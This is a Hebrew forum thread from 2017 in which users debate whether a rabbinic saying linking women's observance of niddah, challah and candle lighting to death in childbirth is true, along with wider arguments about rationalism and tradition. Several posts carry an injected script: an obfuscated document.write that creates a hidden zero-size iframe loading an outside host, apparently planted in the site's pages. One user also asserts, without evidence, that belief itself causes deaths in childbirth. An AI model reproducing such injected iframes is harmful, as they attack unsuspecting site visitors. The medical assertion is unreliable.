|
|
| נשלח ב-15/11/2017 21:50 |
 |
| |
מיימוני
דבריך סותרים זה את זה. בהודעה האחרונה אתה מפרש שחז"ל באמת סברו שיש קשר סיבתי בין העברות הללו למיתה בשעת הלידה, ובהודעה שלפניה פירשת אחרת.
|
|
|
|
| נשלח ב-16/11/2017 10:07 |
|
| |
| מם80 כתב: |  |
1. מהיכן הציטוט שציטטת?
2. תורה אינה מנטרות, אלא דורשת ללמוד וללמד לשמור ולעשות.
|
|
1. תורה, ספר בראשית, פרק א, פסוק ג.
2. נכון, תורה איננה מנטרה. התורה איננה דורשת שום דבר.
התורה מציעה דרך. עליך החובה לברר אם הדרך נכונה או לא.
ולכן הזהירו אותך " פֶּתִי יַאֲמִין לְכָל דָּבָר וְעָרוּם יָבִין לַאֲשֻׁרוֹ."
|
|
|
|
| נשלח ב-17/11/2017 12:56 |
|
| |
תורה ציוה-לנו משה, מורשה קהלת יעקב.
|
|
|
|
| נשלח ב-17/11/2017 14:47 |
|
| |
מימוני, שלישישי, יש3, בדורות האחרונים, הידע האנושי הולך וגדל, ובעידן האינטרנט - גם הזמינות לכל אדם גדלה. אחת ההשלכות עבור החרדי השכלתן, היא אי-התאמה הולכת וגוברת בין החינוך והידע המסורתי האורתודוקסי לבין הידע המדעי וההיסטורי הקיים. הדרך החרדית המסורה לנו מדור דור (או לפחות בדורות האחרונים...) להתמודדות עם סתירה זו, היא הסתגרות תרבותית שבעיקרה חשיפה נמוכה ככל שניתן, לפחות בגיל הנעורים, לכל מקור ידע חיצוני. כל ניסיון רציני להתבסס על מקורות אחרים סותרים, יושתק בטענה מסגנון "דברי חז"ל הקדושים, שהקטן בהם יכל להחיות מתים, וכל דבריהם ברוח הקודש, לעומת אנשי המדע שכל טענותיהם מבוססים על השערות, שמשתנים כל הזמן." מלווה ביותר מקורטוב של זעם קדוש ומתנשא. כיון שאי אפשר להשתיק את כולם כל הזמן, התפתחה תעשיית אפולוגטיקה משגשגת של תירוצים בנוסח "השתנו הטבעים", "חז"ל התכוונו לסודות נוראים", ועוד, ועוד. שכלול של גישה זו מייצגים המחזירים בתשובה, שכחלק מהשקרים הקדושים שאותם משווקים לקהל יעדם, אף מתיימרים לטעון ש"התורה הקדימה את המדע", שחז"ל גילו שהעולם עגול ואת אמריקה, ואת מחזור הירח, ובכלל כל מה שעולם המדע חידש ועתיד לחדש... על הנייר מדובר בשיטה מצוינת וקוהרנטית. אפילו סתירות פנימיות בלתי נמנעות כתוצאה ממחלוקות חכמים על המציאות כדוגמת המחלוקת "אמר אביי הוא ינאי הוא יוחנן רבא אמר ינאי לחוד ויוחנן לחוד" (ברכות כט.)", עם קצת מאמץ ורצון טוב ניתן לתרץ בתירוצי "אלו ואלו דברי אלוהים חיים". (ינאי הוא גלגל\שורש נשמתו של יוחנן וכדו'). הבעיה הגדולה בדרך הזאת שהקשר בינה לבין המציאות האובייקטיבית מקרי בהחלט. יש כאלו, כדוגמת אלישע בן אבויה כפי שהוא מובא בתלמוד, ואחרים בימינו, שמתוך כך מקצצים בנטיעות אחד מהם אף ניהל פה ויכוח עם חכמי הפורום בנושא. לעומתם, הגישה שמימוני ואחרים בפורום מייצגים, היא לנסות לבסס את האמונה ובעיקר קיום המצוות על בסיס רציונלי. נכון, יש בה לא מעט חורים בעלילה, ונושאים בלתי פתורים, ובכלל היא בקושי מתיימרת ליישב את התורה עם המציאות, ובוודאי אינה יכולה אפילו לנסות להוכיח שזאת האמת האחת והיחידה. מה לעשות, יוסיף דעת יוסיף מכאוב, אבל עדיין זו עדיפה בהרבה על גן העדן של הבורות.
תוקן על ידי תלמיד_חבר ב- 17/11/2017 14:50:46
תוקן על ידי תלמיד_חבר ב- 17/11/2017 14:53:07
 |
|
|
|
|
|
| נשלח ב-19/11/2017 07:06 |
|
| |
תלמיד חבר
איקון ירוק ותודה. אכן אלו דברי מימי ייסוד הפורום.
עם זאת, אתה מתאר מצב שונה מזה שהתייחסתי אליו. אני תארתי, אולי באופטימיות, את חכמינו כמי שמנסים להתנגד לאמונות הבל. ההמון, כמובן, דבק בהן מפני שאינו חכם מספיק להבין שהן כאלו. למשל מפני שאינו ער לסתירות שיש בין אמונות אלו לבין המסרים של התורה (לפחות התורה המיימונית...).
ואתה מתאר את המצוקה המודרנית, שנוצרה עקב התהליך שזיהית - שאותו תיאר היטב פיטר ברגר - של חברה קטנה הנפגשת עם ידע שמאיים עליה. זו בעיה אנתרופולוגית, והפתרון שלה הוא סוציולוגי. כלומר, אחד מהדגמים האפשריים. לבנות גטו. ולשמר את המסורת במילואה. כולל אמונות שהתברר שהן אמונות הבל.
חלקו של התלמיד חכם והאינטלקטואל והפילוסוף הוא אכן להיות אברהם אבינו, רמב"ם, ולסלק את אמונות ההבל. הרי סופן להתגלות ולהביא נזקים אפילו למטרה של השמרן הדבק במסורת יהיה מה שיהיה. אם אין יודעים לפתוח חבילה ולוותר על אמונות שגויות, החבילה כולה תאבד והאדם שהתחנך לקבל אותה כולה - ימרוד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-19/11/2017 10:26 |
|
| |
הרב מימוני
אני מגיב רק למשפט הזה שלך.
"חלקו של התלמיד חכם והאינטלקטואל והפילוסוף הוא אכן להיות אברהם אבינו, רמב"ם"
לאברהם אבינו גם היו אמונות טפלות וכן לרמב"ם
|
|
|
|
| נשלח ב-19/11/2017 10:34 |
|
| |
| מיימוני כתב: | |
יקירי, אני חושש שלא ניתן לבצע את הניסוי שהצעת. אבל אני מוכן לחתום על התוצאה. אם יתברר שחז"ל אמרו שנשים לא זהירות יסתכנו ויתברר שהן לא הסתכנו - בהחלט אומר שכאן חז"ל טעו. או לפחות זו טעות היום, בזמן הניסוי.
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
הניסוי מאד פשוט.
אתה צריך לעמוד ביציאה מבית היולדות ולשאול את היולדות אם הן זהירות או לא.
לא מצאתי בשנתון הסטטיסטי כמה יולדות נפטרו בישראל.
אני מעריך שפחות מ - 50 יולדות מתוך 100.000 לידות.
יותר מזה, אם שיעור הנפטרות של היולדות שאינן זהירות היה גדול יותר מאילו שזהירות,
היית רואה שהמחב"תים רצים לפרסם את הנתון הזה. והמציאות איננה כזו.
מה שכתבתי עד כאן, מספיק לך שתודה שחז"ל טעו?
וזה לא רק שחז"ל טעו, גם "חכמי הרפואה" שלפני מספר דורות גם טעו.
http://www4.dr-rath-foundation.org/Newsletter/articles/ignaz-semmelweis-ignored-rejected-ridiculed-by-the-medical-orthodoxy.html?utm_source=email&utm_medium=artikel-image&utm_campaign=newsletter-20171116
|
|
|
|
| נשלח ב-19/11/2017 10:56 |
|
| |
| מיימוני כתב: | | תלמיד חבר
איקון ירוק ותודה. אכן אלו דברי מימי ייסוד הפורום.
עם זאת, אתה מתאר מצב שונה מזה שהתייחסתי אליו. אני תארתי, אולי באופטימיות, את חכמינו כמי שמנסים להתנגד לאמונות הבל. ההמון, כמובן, דבק בהן מפני שאינו חכם מספיק להבין שהן כאלו. למשל מפני שאינו ער לסתירות שיש בין אמונות אלו לבין המסרים של התורה (לפחות התורה המיימונית...).
ואתה מתאר את המצוקה המודרנית, שנוצרה עקב התהליך שזיהית - שאותו תיאר היטב פיטר ברגר - של חברה קטנה הנפגשת עם ידע שמאיים עליה. זו בעיה אנתרופולוגית, והפתרון שלה הוא סוציולוגי. כלומר, אחד מהדגמים האפשריים. לבנות גטו. ולשמר את המסורת במילואה. כולל אמונות שהתברר שהן אמונות הבל.
חלקו של התלמיד חכם והאינטלקטואל והפילוסוף הוא אכן להיות אברהם אבינו, רמב"ם, ולסלק את אמונות ההבל. הרי סופן להתגלות ולהביא נזקים אפילו למטרה של השמרן הדבק במסורת יהיה מה שיהיה. אם אין יודעים לפתוח חבילה ולוותר על אמונות שגויות, החבילה כולה תאבד והאדם שהתחנך לקבל אותה כולה - ימרוד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
מימוני,
התייחסתי לוויכוח שלך עם שלישישי ואחרים לגבי היותך "פוסח על שתי הסעיפים", ולא לגבי הדיון המקורי על אמונות הבל שהתורה מנסה (או לא מנסה ) להאבק בהם.
|
|
|
|
|
| נשלח ב-19/11/2017 11:40 |
|
| |
שלישישי,
מתפלא על גישתך האמפריציסטית. הלא רבך בלייק אמר שהרעיונות הפנימיים רק הם אמתיים. לוק אמר: "מה השמש כי-אם סכום של כמה רעיונות פשוטים: בהירות, חום, כדוריות, בתנועה קבועה ובמרחק מסויים מאתנו?". ואילו בלייק אמר: "כשהשמש עולה, האינך רואה דיסק-אש הנראה כמטבע זהב? לא, אני רואה אין-ספור מלאכים הקוראים קדוש קדוש קדוש ה' צבאות".
תוקן על ידי מם80 ב- 19/11/2017 11:40:17
|
|
|
|
| נשלח ב-19/11/2017 13:05 |
|
| |
מ,
נכון. הרעיונות הפנימיים הם האמתיים.
בגלל שהמציאות שאנחנו פוגשים בחוץ היא תוצאה של העולם הפנימי
שלנו - הדמיון.
כאשר אתה אומר לאשה אם לא תזהרי ב... וב... וב... אז תמותי בשעת הלידה.
והדמיון שלה מקבל את זה ללא ביקורת.
יש לך ספק מה הולך לקרות?
והמבחן פשוט. נשים שלא מאמינות בדברי חז"ל שהוזכרו כאן,
הסיכוי שלהן למות בשעת הלידה קטן יותר מאילו שמאמינות בדברי חז"ל.
|
|
|
|
| נשלח ב-19/11/2017 15:43 |
|
| |
בנות ישראל הצדיקות היו ותהיינה זהירות בנידה ובחלה ובהדלקת נר, על אף שונאיהם של ישראל המנסים להרחיקן ממצוות.
כי נר מצוה ותורה אור.
תוקן על ידי מם80 ב- 19/11/2017 15:51:45
|
|
|
|
| נשלח ב-19/11/2017 16:07 |
|
| |
| מם80 כתב: | | בנות ישראל הצדיקות היו ותהיינה זהירות בנידה ובחלה ובהדלקת נר, על אף שונאיהם של ישראל המנסים להרחיקן ממצוות.
כי נר מצוה ותורה אור.
תוקן על ידי מם80 ב- 19/11/2017 15:51:45
|
|
כי הציטוט מנצח לנצח נצחים
תוקן על ידי אפריםבן ב- 19/11/2017 16:08:08
|
|
|
|
| נשלח ב-20/11/2017 09:59 |
|
| |
| מם80 כתב: | | בנות ישראל הצדיקות היו ותהיינה זהירות בנידה ובחלה ובהדלקת נר, על אף שונאיהם של ישראל המנסים להרחיקן ממצוות.
כי נר מצוה ותורה אור.
תוקן על ידי מם80 ב- 19/11/2017 15:51:45
|
|
רוב רובן של בנות ישראל שבות לביתן בריאות ושלמות בידיים מלאות.
מה שמוכיח שאלוהים אוהב אותן בין הם זהירות אם לאו.
שאל נא את רבותיך מדוע זה כך.
ועוד,
שאל אותם אם הם יודעים מיהו:
"יוֹצֵר אוֹר וּבוֹרֵא חֹשֶׁךְ עֹשֶׂה שָׁלוֹם וּבוֹרֵא רָע אֲנִי יְ' עֹשֶׂה כָל אֵלֶּה"
|
|
|
|
| נשלח ב-20/11/2017 15:27 |
|
| |
אצל מיימוני אמונת הבל היא אמונה שאיננה של מיימוני.
מה לעשות שהגמל אף פעם לא רואה את דבשתו.
|
|
|
|
| נשלח ב-20/11/2017 19:48 |
|
| |
לא כל כך מבין איפה רואים פה ש"חז"ל טעו", בזמנם, לפי התנאים והמציאות לידה היתה "שעת סכנה", בשעת סכנה עוונות של אדם מקטרגים, והזכויות של האשה הן המצוות שמוטלות עליה נדה חלה והדלקת הנר. כיום שעת לידה אינה שעת סכנה (במדה ונמצאים בבית חולים או בקירבת מיכשור מודרני), ולכן בד"כ לא מתות. אבל במה שנחשב היום שעת סכנה ושכיח בו סכנה (למשל: שילוב נשים בפלוגות מבצעיות...), צריכים זכויות כדי להינצל, כיום חלה לא מוטלת כמעט על האשה (אא"כ היא הולכת להפנינג הפרשות חלה או שהיא מכינה הרבה חלות בבית), אבל מלבד נדה (שהיא נסיון קשה ואחריות גדולה) והדלקת הנר, יש עוד מצוות שבאחריותה, ובזכות מצוות אלו יכולה אשה להינצל, או ח"ו שלא להינצל. רמי הצפרדע
|
|
|
|
|
